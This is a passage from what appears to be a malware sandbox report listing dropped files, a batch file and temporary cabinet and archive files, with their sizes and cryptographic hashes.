                                                                                                                                                                                                                                                                                                                          1KB

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          135594160762ab9dd80794d7b34ab32a

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          638fef88bbb5d310c51eda07ca10918a482ad3ac

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          531eef292dba871300a5b31d9601bab2b8c03be17cc0aa28e216f82a5df01fa0

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          19a8b0024abb6e22103aaf8654619ee803cb8ae2bfd21d6bb7c648a4dfb1a06936144d308cc3d0ebdd86d38b87434d2e3a152f541153d42d03b4ad767b72b54d

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\A1FA.tmp\A1FB.tmp\A1FC.bat
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          0a45f9a236bbcd265c0c42f31a98b97f

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          c959b0487c1ab6ed111bee3d1f80bcc3032125a4

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          38e4173ae8927a3bea9499ab2b9141d8f42f39383478633b0a4b98c0c661d0ff

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          2935422f584afd8fde06d8838621c94205aa2ae67397b1d3ed3cb2e4d80d67e53d84cef2eaae4d3ea3c4dfc5e9282d712aab458dcd29660f9ae1215258fa1c72

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\CabDE40.tmp
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          70KB

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          49aebf8cbd62d92ac215b2923fb1b9f5

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          1723be06719828dda65ad804298d0431f6aff976

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\TarDE72.tmp
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          181KB

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          4ea6026cf93ec6338144661bf1202cd1

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          a1dec9044f750ad887935a01430bf49322fbdcb7

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

                                                                                                                                                                                                                                                                                                                          Download Submit